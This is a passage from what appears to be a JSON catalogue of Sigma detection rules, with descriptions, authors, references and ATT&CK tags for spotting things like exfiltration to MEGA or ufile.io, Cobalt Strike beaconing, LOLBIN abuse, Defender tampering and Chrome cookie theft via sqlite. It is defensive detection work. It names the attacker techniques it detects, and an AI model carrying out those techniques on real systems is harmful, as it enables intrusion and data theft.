"065cceea-77ec-4030-9052-fc0affea7110", "value": "DNS Query for Anonfiles.com Domain" }, { "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { "author": "frack113, Connor Martin", "creation_date": "2022/07/11", "falsepositive": [ "Legitimate usage of the softwares mentioned above" ], "filename": "dns_query_win_remote_access_software_domains.yml", "level": "medium", "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/misbehaving-rats/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-6---ammyy-admin-software-execution", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_remote_access_software_domains.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4d07b1f4-cb00-4470-b9f8-b0191d48ff52", "value": "DNS Query To Remote Access Software Domain" }, { "description": "Detects network connections and DNS queries initiated by Regsvr32.exe", "meta": { "author": "Dmitriy Lifanov, oscd.community", "creation_date": "2019/10/25", "falsepositive": [ "Unknown" ], "filename": "dns_query_win_regsvr32_network_activity.yml", "level": "high", "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/", "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_regsvr32_network_activity.yml" ], "tags": [ "attack.execution", "attack.t1559.001", "attack.defense_evasion", "attack.t1218.010" ] }, "related": [ { "dest-uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "36e037c4-c228-4866-b6a3-48eb292b9955", "value": "Regsvr32 Network Activity - DNS" }, { "description": "Detects DNS queries for subdomains used for upload to ufile.io", "meta": { "author": "yatinwad and TheDFIRReport", "creation_date": "2022/06/23", "falsepositive": [ "Legitimate Ufile upload" ], "filename": "dns_query_win_ufile_io.yml", "level": "high", "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/12/13/diavol-ransomware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_ufile_io.yml" ], "tags": [ "attack.exfiltration", "attack.t1567.002" ] }, "related": [ { "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1cbbeaaf-3c8c-4e4c-9d72-49485b6a176b", "value": "DNS Query for Ufile.io Upload Domain" }, { "description": "Detects DNS queries for subdomains used for upload to MEGA.io", "meta": { "author": "Aaron Greetham (@beardofbinary) - NCC Group", "creation_date": "2021/05/26", "falsepositive": [ "Legitimate Mega upload" ], "filename": "dns_query_win_mega_nz.yml", "level": "high", "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_mega_nz.yml" ], "tags": [ "attack.exfiltration", "attack.t1567.002" ] }, "related": [ { "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "613c03ba-0779-4a53-8a1f-47f914a4ded3", "value": "DNS Query for MEGA.io Upload Domain" }, { "description": "Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons", "meta": { "author": "Florian Roth", "creation_date": "2021/11/09", "falsepositive": [ "Unknown" ], "filename": "dns_query_win_mal_cobaltstrike.yml", "level": "critical", "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ "https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns", "https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_mal_cobaltstrike.yml" ], "tags": [ "attack.command_and_control", "attack.t1071.004" ] }, "related": [ { "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f356a9c4-effd-4608-bbf8-408afd5cd006", "value": "Suspicious Cobalt Strike DNS Beaconing" }, { "description": "Detects DNS queries to a TeamViewer domain only resolved by a TeamViewer client by an image that isn't named TeamViewer (sometimes used by threat actors for obfuscation)", "meta": { "author": "Florian Roth", "creation_date": "2022/01/30", "falsepositive": [ "Unknown binary names of TeamViewer", "Other programs that also lookup the observed domain" ], "filename": "dns_query_win_susp_teamviewer.yml", "level": "medium", "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ "https://www.teamviewer.com/en-us/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_teamviewer.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "778ba9a8-45e4-4b80-8e3e-34a419f0b85e", "value": "Suspicious TeamViewer Domain Access" }, { "description": "Detects DNS resolution of an .onion address related to Tor routing networks", "meta": { "author": "frack113", "creation_date": "2022/02/20", "falsepositive": [ "Unknown" ], "filename": "dns_query_win_tor_onion.yml", "level": "high", "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ "https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_tor_onion.yml" ], "tags": [ "attack.command_and_control", "attack.t1090.003" ] }, "related": [ { "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b55ca2a3-7cff-4dda-8bdd-c7bfa63bf544", "value": "Query Tor Onion Address" }, { "description": "Detect suspicious LDAP request from non-Windows application", "meta": { "author": "frack113", "creation_date": "2022/08/20", "falsepositive": [ "Programs that also lookup the observed domain" ], "filename": "dns_query_win_susp_ldap.yml", "level": "medium", "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1482/T1482.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_ldap.yml" ], "tags": [ "attack.discovery", "attack.t1482" ] }, "related": [ { "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a21bcd7e-38ec-49ad-b69a-9ea17e69509e", "value": "Suspicious LDAP Domain Access" }, { "description": "Detects several different DNS-answers by one domain with IPs from internal and external networks. Normally, DNS-answer contain TTL >100. (DNS-record will saved in host cache for a while TTL).", "meta": { "author": "Ilyas Ochkov, oscd.community", "creation_date": "2019/10/25", "falsepositive": "No established falsepositives", "filename": "dns_query_win_possible_dns_rebinding.yml", "level": "medium", "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ "https://medium.com/@brannondorsey/attacking-private-networks-from-the-internet-with-dns-rebinding-ea7098a2d325", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_possible_dns_rebinding.yml" ], "tags": [ "attack.initial_access", "attack.t1189" ] }, "related": [ { "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "eb07e747-2552-44cd-af36-b659ae0958e4", "value": "Possible DNS Rebinding" }, { "description": "Detects DNS queries for ip lookup services such as api.ipify.org not originating from a non browser process.", "meta": { "author": "Brandon George (blog post), Thomas Patzke (rule)", "creation_date": "2021/07/08", "falsepositive": [ "Legitimate usage of ip lookup services such as ipify API" ], "filename": "dns_query_win_susp_ipify.yml", "level": "medium", "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", "https://twitter.com/neonprimetime/status/1436376497980428318", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_ipify.yml" ], "tags": [ "attack.reconnaissance", "attack.t1590" ] }, "related": [ { "dest-uuid": "9d48cab2-7929-4812-ad22-f536665f0109", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ec82e2a5-81ea-4211-a1f8-37a0286df2c2", "value": "Suspicious DNS Query for IP Lookup Service APIs" }, { "description": "Detects potential tampering with Windows Defender settings such as adding exclusion using wmic", "meta": { "author": "frack113", "creation_date": "2022/12/11", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_wmic_tamper_defender.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/5c1e6f1b4fafd01c8d1ece85f510160fc1275fbf/atomics/T1562.001/T1562.001.md", "https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_tamper_defender.yml" ], "tags": [ "attack.credential_access", "attack.t1546.008" ] }, "uuid": "51cbac1e-eee3-4a90-b1b7-358efb81fa0a", "value": "WMIC Tamper Windows Defender" }, { "description": "Detects the suspicious minimized start of MsEdge browser, which can be used to download files from the Internet", "meta": { "author": "Florian Roth", "creation_date": "2022/01/11", "falsepositive": [ "Software that uses MsEdge to download components in the background (see ParentImage, ParentCommandLine)" ], "filename": "proc_creation_win_msedge_minimized_download.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/mrd0x/status/1478234484881436672?s=12", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msedge_minimized_download.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "94771a71-ba41-4b6e-a757-b531372eaab6", "value": "Suspicious Minimized MSEdge Start" }, { "description": "Performs execution of specified file, can be used for defensive evasion.", "meta": { "author": "frack113", "creation_date": "2021/11/24", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_bash.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Bash/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml" ], "tags": [ "attack.defense_evasion", "attack.t1202" ] }, "related": [ { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5edc2273-c26f-406c-83f3-f4d948e740dd", "value": "Suspicious Subsystem for Linux Bash Execution" }, { "description": "Detects MSHTA.EXE spwaned by SVCHOST as seen in LethalHTA and described in report", "meta": { "author": "Markus Neis", "creation_date": "2018/06/07", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lethalhta.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://codewhitesec.blogspot.com/2018/07/lethalhta.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lethalhta.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.005" ] }, "related": [ { "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ed5d72a6-f8f4-479d-ba79-02f6a80d7471", "value": "MSHTA Spwaned by SVCHOST" }, { "description": "Detects MMC20.Application Lateral Movement; specifically looks for the spawning of the parent MMC.exe with a command line of \"-Embedding\" as a child of svchost.exe", "meta": { "author": "@2xxeformyshirt (Security Risk Advisors) - rule; Teymur Kheirkhabarov (idea)", "creation_date": "2020/03/04", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_mmc20_lateral_movement.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view?usp=sharing", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc20_lateral_movement.yml" ], "tags": [ "attack.execution", "attack.t1021.003" ] }, "related": [ { "dest-uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f1f3bf22-deb2-418d-8cce-e1a45e46a5bd", "value": "MMC20 Lateral Movement" }, { "description": "Detects a whoami.exe executed by privileged accounts that are often misused by threat actors", "meta": { "author": "Florian Roth", "creation_date": "2022/01/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_whoami_as_priv_user.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://nsudo.m2team.org/en-us/", "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_as_priv_user.yml" ], "tags": [ "attack.privilege_escalation", "attack.discovery", "attack.t1033" ] }, "uuid": "79ce34ca-af29-4d0e-b832-fc1b377020db", "value": "Run Whoami as Privileged User" }, { "description": "Detects certain parent child patterns found in cases in which a webshell is used to perform certain credential dumping or exfiltration activities on a compromised system", "meta": { "author": "Florian Roth", "creation_date": "2022/03/17", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_webshell_hacking.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://youtu.be/7aemGhaE9ds?t=641", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_hacking.yml" ], "tags": [ "attack.persistence", "attack.t1505.003", "attack.t1018", "attack.t1033", "attack.t1087" ] }, "uuid": "4ebc877f-4612-45cb-b3a5-8e3834db36c9", "value": "Webshell Hacking Activity Patterns" }, { "description": "The \"Squirrel.exe\" binary that is part of multiple software (Slack, Teams, Discord...etc) can be used as a LOLBIN", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/09", "falsepositive": [ "See rule (fa4b21c9-0057-4493-b289-2556416ae4d7) for possible FPs" ], "filename": "proc_creation_win_lolbin_squirrel.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml" ], "tags": [ "attack.defense_evasion", "attack.execution" ] }, "uuid": "45239e6a-b035-4aaf-b339-8ad379fcb67e", "value": "Use of Squirrel.exe" }, { "description": "Detects execution of \"reg.exe\" commands with the \"add\" or \"copy\" flags on safe boot registry keys. Often used by attacker to allow the ransomware to work in safe mode as some security products do not", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/02", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_reg_add_safeboot.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_add_safeboot.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "d7662ff6-9e97-4596-a61d-9839e32dee8d", "value": "Add SafeBoot Keys Via Reg Utility" }, { "description": "An attacker may execute an application as a SCR File using rundll32.exe desk.cpl,InstallScreenSaver", "meta": { "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io, TactiKoolSec", "creation_date": "2022/04/28", "falsepositive": [ "Legitimate installation of a new screensaver" ], "filename": "proc_creation_win_lolbin_rundll32_installscreensaver.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Libraries/Desk/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml" ], "tags": [ "attack.t1218.011", "attack.defense_evasion" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "15bd98ea-55f4-4d37-b09a-e7caa0fa2221", "value": "Rundll32 InstallScreenSaver Execution" }, { "description": "RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).", "meta": { "author": "frack113", "creation_date": "2021/07/13", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_athremotefxvgpudisablementcommand.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_athremotefxvgpudisablementcommand.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a6fc3c46-23b8-4996-9ea2-573f4c4d88c5", "value": "Abusable Invoke-ATHRemoteFXvGPUDisablementCommand" }, { "description": "Detects suspicious Rundll32 execution from control.exe as used by Equation Group and Exploit Kits", "meta": { "author": "Florian Roth", "creation_date": "2017/04/15", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_control_dll_load.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/rikvduijn/status/853251879320662017", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_control_dll_load.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.011" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d7eb979b-c2b5-4a6f-a3a7-c87ce6763819", "value": "Suspicious Control Panel DLL Load" }, { "description": "Detects Silence downloader. These commands are hardcoded into the binary.", "meta": { "author": "Alina Stepchenkova, Roman Rezvukhin, Group-IB, oscd.community", "creation_date": "2019/11/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_silence_downloader_v3.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_silence_downloader_v3.yml" ], "tags": [ "attack.persistence", "attack.t1547.001", "attack.discovery", "attack.t1057", "attack.t1082", "attack.t1016", "attack.t1033", "attack.g0091" ] }, "uuid": "170901d1-de11-4de7-bccb-8fa13678d857", "value": "Silence.Downloader V3" }, { "description": "Detects suspicious process related to rundll32 based on arguments", "meta": { "author": "juju4, Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali", "creation_date": "2019/01/16", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment" ], "filename": "proc_creation_win_susp_rundll32_activity.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/eral4m/status/1479106975967240209", "https://twitter.com/nas_bench/status/1433344116071583746", "http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/", "https://twitter.com/eral4m/status/1479080793003671557", "https://twitter.com/Hexacorn/status/885258886428725250", "https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_activity.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.011" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e593cf51-88db-4ee1-b920-37e89012a3c9", "value": "Suspicious Rundll32 Activity" }, { "description": "Detects a PsExec service start", "meta": { "author": "Florian Roth", "creation_date": "2018/03/13", "falsepositive": [ "Administrative activity" ], "filename": "proc_creation_win_psexesvc_start.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_psexesvc_start.yml" ], "tags": [ "attack.execution", "attack.s0029", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3ede524d-21cc-472d-a3ce-d21b568d8db7", "value": "PsExec Service Start" }, { "description": "Detects usage of the \"dir\" command that's part of windows batch/cmd to collect information about directories", "meta": { "author": "frack113", "creation_date": "2021/12/13", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_dir.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dir.yml" ], "tags": [ "attack.discovery", "attack.t1217" ] }, "related": [ { "dest-uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7c9340a9-e2ee-4e43-94c5-c54ebbea1006", "value": "Suspicious DIR Execution" }, { "description": "Detects user accept agreement execution in psexec commandline", "meta": { "author": "omkar72", "creation_date": "2020/10/30", "falsepositive": [ "Administrative scripts." ], "filename": "proc_creation_win_susp_psexec_eula.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexec_eula.yml" ], "tags": [ "attack.execution", "attack.t1569", "attack.t1021" ] }, "related": [ { "dest-uuid": "d157f9d2-d09a-4efa-bb2a-64963f94e253", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "730fc21b-eaff-474b-ad23-90fd265d4988", "value": "Psexec Accepteula Condition" }, { "description": "Detects specific process parameters as seen in DTRACK infections", "meta": { "author": "Florian Roth", "creation_date": "2019/10/30", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_malware_dtrack.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/ce4deab5-3263-494f-93e3-afb2b9d79f14/", "https://securelist.com/my-name-is-dtrack/93338/", "https://app.any.run/tasks/4bc9860d-ab51-4077-9e09-59ad346b92fd/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_dtrack.yml" ], "tags": [ "attack.impact", "attack.t1490" ] }, "related": [ { "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f1531fa4-5b84-4342-8f68-9cf3fdbd83d4", "value": "DTRACK Process Creation" }, { "description": "Detects a suspicious process command line that uses whoami as first parameter (as e.g. used by EfsPotato)", "meta": { "author": "Florian Roth", "creation_date": "2021/11/29", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_whoami_as_param.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/blackarrowsec/status/1463805700602224645?s=12", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_whoami_as_param.yml" ], "tags": [ "attack.discovery", "attack.t1033", "car.2016-03-001" ] }, "uuid": "e9142d84-fbe0-401d-ac50-3e519fb00c89", "value": "WhoAmI as Parameter" }, { "description": "Detect use of sqlite binary to query the Chrome Cookies database and steal the cookie data contained within it", "meta": { "author": "TropChaud", "creation_date": "2022/12/19", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_sqlite_chrome_cookies.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/84d9edaaaa2c5511144521b0e4af726d1c7276ce/atomics/T1539/T1539.md#atomic-test-2---steal-chrome-cookies-windows", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlite_chrome_cookies.yml" ], "tags": [ "attack.credential_access", "attack.t1539" ] }, "related": [ { "dest-uuid": "10ffac09-e42d-4f56-ab20-db94c67d76ff", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "24c77512-782b-448a-8950-eddb0785fc71", "value": "SQLite Chrome Cookie DB Access" }, { "description": "Detects suspicious sub processes started by the ScreenConnect client service, which indicates the use of the so-called Backstage mode", "meta": { "author": "Florian Roth", "creation_date": "2022/02/25", "falsepositive": [ "Case in which administrators are allowed to use ScreenConnect's Backstage mode" ], "filename": "proc_creation_win_screenconnect_anomaly.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.connectwise.com/ConnectWise_Control_Documentation/Get_started/Host_client/View_menu/Backstage_mode", "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_screenconnect_anomaly.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7b582f1a-b318-4c6a-bf4e-66fe49bf55a5", "value": "ScreenConnect Backstage Mode Anomaly" }, { "description": "Execution of well known tools for data exfiltration and tunneling", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Legitimate Administrator using tools" ], "filename": "proc_creation_win_exfiltration_and_tunneling_tools_execution.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exfiltration_and_tunneling_tools_execution.yml" ], "tags": [ "attack.exfiltration", "attack.command_and_control", "attack.t1041", "attack.t1572", "attack.t1071.001" ] }, "related": [ { "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c75309a3-59f8-4a8d-9c2c-4c927ad50555", "value": "Exfiltration and Tunneling Tools Execution" }, { "description": "Detects the use of a Microsoft signed script to execute commands and bypassing AppLocker.", "meta": { "author": "frack113", "creation_date": "2022/05/21", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_cl_loadassembly.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Scripts/CL_LoadAssembly/", "https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_loadassembly.yml" ], "tags": [ "attack.defense_evasion", "attack.t1216" ] }, "related": [ { "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c57872c7-614f-4d7f-a40d-b78c8df2d30d", "value": 